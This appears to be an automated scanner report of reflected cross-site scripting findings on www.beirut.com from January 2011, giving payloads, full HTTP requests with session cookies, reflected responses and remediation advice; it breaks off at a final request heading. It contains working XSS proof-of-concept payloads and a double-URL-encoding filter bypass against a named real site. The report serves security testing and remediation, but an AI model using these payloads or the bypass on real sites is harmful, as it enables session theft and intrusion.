<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping97253'-alert(1)-'94cd40893b6/Toys-Gifts-Electronics/849778728/Consumer-Electronics/13'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3b14%2527%253balert%25281%2529%252f%252ff3f450929b9 was submitted in the REST URL parameter 4. This input was echoed as d3b14';alert(1)//f3f450929b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Ain-El-Mreisseh/Family-Fun-Day/6097d3b14%2527%253balert%25281%2529%252f%252ff3f450929b9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:42:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Index'; var initfacebox=''; var contactid='6097d3b14';alert(1)//f3f450929b9'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45ab4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e61ed4218169 was submitted in the REST URL parameter 4. This input was echoed as 45ab4"><script>alert(1)</script>61ed4218169 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Ain-El-Mreisseh/Family-Fun-Day/609745ab4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e61ed4218169 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:41:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=609745ab4"><script>alert(1)</script>61ed4218169&randstyle=purple"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7c0f%2527%253balert%25281%2529%252f%252f2b97de70f11 was submitted in the REST URL parameter 4. This input was echoed as c7c0f';alert(1)//2b97de70f11 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Clemenceau/Fluks/5938c7c0f%2527%253balert%25281%2529%252f%252f2b97de70f11 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:30:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Index'; var initfacebox=''; var contactid='5938c7c0f';alert(1)//2b97de70f11'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 872f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b86132d791 was submitted in the REST URL parameter 4. This input was echoed as 872f3"><script>alert(1)</script>5b86132d791 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Clemenceau/Fluks/5938872f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b86132d791 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:27:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=5938872f3"><script>alert(1)</script>5b86132d791&randstyle=green"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61e41%2527%253balert%25281%2529%252f%252fa52dc1a1c5b was submitted in the REST URL parameter 4. This input was echoed as 61e41';alert(1)//a52dc1a1c5b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Downtown/Mounzer-Kamanakache-Venus-of-the-Clouds/591061e41%2527%253balert%25281%2529%252f%252fa52dc1a1c5b HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:39:22 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Index'; var initfacebox=''; var contactid='591061e41';alert(1)//a52dc1a1c5b'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f283%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3c15393c0d0 was submitted in the REST URL parameter 4. This input was echoed as 5f283"><script>alert(1)</script>3c15393c0d0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Downtown/Mounzer-Kamanakache-Venus-of-the-Clouds/59105f283%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3c15393c0d0 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:38:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=59105f283"><script>alert(1)</script>3c15393c0d0&randstyle=blue"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9cdf"><a>92e5fcb6396 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDod9cdf"><a>92e5fcb6396/Exhibitions/6382333962 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:46:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63285
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=ThingsToDod9cdf"><a>92e5fcb6396/Exhibitions&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a1975'-alert(1)-'b7645df14c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDoa1975'-alert(1)-'b7645df14c6/Exhibitions/6382333962 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:54:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63403
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='ThingsToDoa1975'-alert(1)-'b7645df14c6/Exhibitions'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e1d9'-alert(1)-'c8b1e6c1dea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Exhibitions7e1d9'-alert(1)-'c8b1e6c1dea/6382333962 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:07:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61569
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='ThingsToDo/Exhibitions7e1d9'-alert(1)-'c8b1e6c1dea'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 582c7"><a>fe506376230 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Exhibitions582c7"><a>fe506376230/6382333962 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:58:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61378
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=ThingsToDo/Exhibitions582c7"><a>fe506376230&listingtype=events.php&Types=16"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9af28'-alert(1)-'01fcb4776a3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo9af28'-alert(1)-'01fcb4776a3/Festivals/272910464 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:55:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63435
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='ThingsToDo9af28'-alert(1)-'01fcb4776a3/Festivals'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c41b"><a>0ed6ef3c7d1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo9c41b"><a>0ed6ef3c7d1/Festivals/272910464 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:45:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=ThingsToDo9c41b"><a>0ed6ef3c7d1/Festivals&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b690"><a>bf31567f7f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Festivals9b690"><a>bf31567f7f3/272910464 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:59:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55423
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=ThingsToDo/Festivals9b690"><a>bf31567f7f3&listingtype=events.php&Types=4"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30f44'-alert(1)-'fbf0ff05bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
